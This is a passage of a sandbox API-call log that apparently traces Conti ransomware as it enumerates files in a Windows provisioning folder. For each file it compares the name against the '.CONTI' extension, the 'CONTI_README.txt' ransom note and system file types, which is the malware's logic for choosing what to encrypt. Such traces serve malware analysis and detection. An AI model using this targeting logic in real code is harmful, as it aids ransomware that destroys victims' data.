	[0109.287] lstrcpyW (in: lpString1=0x6b71d08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.287] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.287] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml"
	[0109.287] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="307__C~1.PRO")) returned 1
	[0109.287] lstrcmpiW (lpString1="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.287] lstrcmpiW (lpString1="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.287] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.287] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.287] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.288] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.288] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.288] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.288] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.288] StrStrIW (lpFirst="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.288] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.288] lstrlenW (lpString="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.288] GetProcessHeap () returned 0x1720000
	[0109.288] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6b71e50
	[0109.288] lstrcpyW (in: lpString1=0x6b71e50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.288] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.288] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml"
	[0109.288] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="308__C~1.PRO")) returned 1
	[0109.288] lstrcmpiW (lpString1="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.288] lstrcmpiW (lpString1="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.288] StrStrIW (lpFirst="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.288] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.288] lstrlenW (lpString="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.288] GetProcessHeap () returned 0x1720000
	[0109.288] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x65607f0
	[0109.288] lstrcpyW (in: lpString1=0x65607f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.288] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.288] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml"
	[0109.288] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="309__C~1.PRO")) returned 1
	[0109.289] lstrcmpiW (lpString1="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.289] lstrcmpiW (lpString1="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.289] StrStrIW (lpFirst="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.289] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.289] lstrlenW (lpString="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.289] GetProcessHeap () returned 0x1720000
	[0109.289] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x6b70b18
	[0109.289] lstrcpyW (in: lpString1=0x6b70b18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.289] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.289] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml"
	[0109.289] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="30__CO~1.PRO")) returned 1
	[0109.289] lstrcmpiW (lpString1="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.289] lstrcmpiW (lpString1="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.289] StrStrIW (lpFirst="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.289] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.289] lstrlenW (lpString="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.289] GetProcessHeap () returned 0x1720000
	[0109.289] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x6561ec8
	[0109.289] lstrcpyW (in: lpString1=0x6561ec8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.290] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.290] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.290] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="310__C~1.PRO")) returned 1
	[0109.290] lstrcmpiW (lpString1="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.290] lstrcmpiW (lpString1="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.290] StrStrIW (lpFirst="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.290] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.290] lstrlenW (lpString="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.290] GetProcessHeap () returned 0x1720000
	[0109.290] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6b712c8
	[0109.290] lstrcpyW (in: lpString1=0x6b712c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.290] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.290] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml"
	[0109.290] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="311__C~1.PRO")) returned 1
	[0109.290] lstrcmpiW (lpString1="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.290] lstrcmpiW (lpString1="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.290] StrStrIW (lpFirst="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.290] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.290] lstrlenW (lpString="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.291] GetProcessHeap () returned 0x1720000
	[0109.291] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6b71558
	[0109.291] lstrcpyW (in: lpString1=0x6b71558, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.291] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.291] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml"
	[0109.291] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="312__C~1.PRO")) returned 1
	[0109.291] lstrcmpiW (lpString1="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.291] lstrcmpiW (lpString1="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
